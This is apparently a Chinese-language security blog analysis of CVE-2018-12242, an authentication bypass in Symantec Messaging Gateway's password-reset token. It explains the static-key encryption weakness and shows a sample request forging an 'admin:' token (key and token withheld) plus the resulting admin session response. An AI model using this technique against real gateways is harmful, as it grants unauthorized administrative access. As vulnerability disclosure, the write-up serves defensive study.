賽門鐵克郵件閘道器身份驗證繞過漏洞(CVE-2018-12242)分析
前言
在一些資訊保安評估工作中,有時很難清楚地瞭解目標網路的外圍情況,作為不得已的手段,我們可能會對目標網路相關曝露在網的應用服務進行安全測試,這種情形下往往會有所突破,就像我在這裡要分享的賽門鐵克(Symantec)郵件閘道器授權繞過漏洞( CVE-2018-12242" ref="nofollow" rel="nofollow,noindex" target="_blank">CVE-2018-12242 )一樣。
發現漏洞
賽門鐵克郵件閘道器(Symantec Messaging Gateway)和大多應用登入介面一樣,也存在密碼重置功能,當登入嘗試失敗後,會出現“忘記密碼”按鈕連結,之後,使用者名稱會被提示輸入。這裡,賽門鐵克郵件閘道器在建立的密碼重置連結中,包含了一個加密令牌(token),保證密碼重置須是相應使用者,以此來驗證密碼重置的使用者合法身份。
肯定的是,這個令牌是加密的,那麼我們如何獲得金鑰呢?好在之前有一個關於賽門鐵克郵件閘道器中 類似bug的披露 ,安全研究者Philip Pettersson發現了賽門鐵克郵件閘道器的一個認證繞過漏洞,這其中涉及了用類似方式進行加密的引數,他還分析到了一個硬編碼金鑰,他是這樣描述的:
非常好,加密使用的竟然是PBEWithMD5AndDES 演算法生成的一個靜態密碼,且簡單地儲存在其原始碼中,但我不會在此透露該加密密碼或完整的加密通知字串。
漏洞測試
回到我們的測試中來。實際上,在賽門鐵克郵件閘道器的安裝過程中,這個密碼key都是靜態的,在此我們也不會公佈這個密碼資訊。在這種加密機制下,如果攻擊者發起加密令牌(token)中形如“admin:”的加密,並把它傳遞給下述GET引數 “authorization”, 那麼,他就會收到一個有效的管理員會話。以下為相應的GET請求示例:
GET /brightmail/action2.do?method=passwordReset&authorization=<..>%3d HTTP/1.1
Host: 192.168.17.15
Connection: close
Cache-Control: max-age=0
Origin: https://192.168.17.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
賽門鐵克閘道器的響應如下:
HTTP/1.1 302 Found Server: Apache-Coyote/1.1 Cache-Control: no-store,no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Frame-Options: SAMEORIGIN Set-Cookie: JSESSIONID=97B8786DB8CC163EB2A4C595D1028E1D; Path=/brightmail; Secure; HttpOnly Location: /brightmail/viewWelcome.do?userID=1 Content-Type: text/html;charset=UTF-8 Content-Length: 0 Connection: close
在Brup中的請求和響應如下所示:
當然,其中生成的Cookie訊息就是一個有效的管理員會話: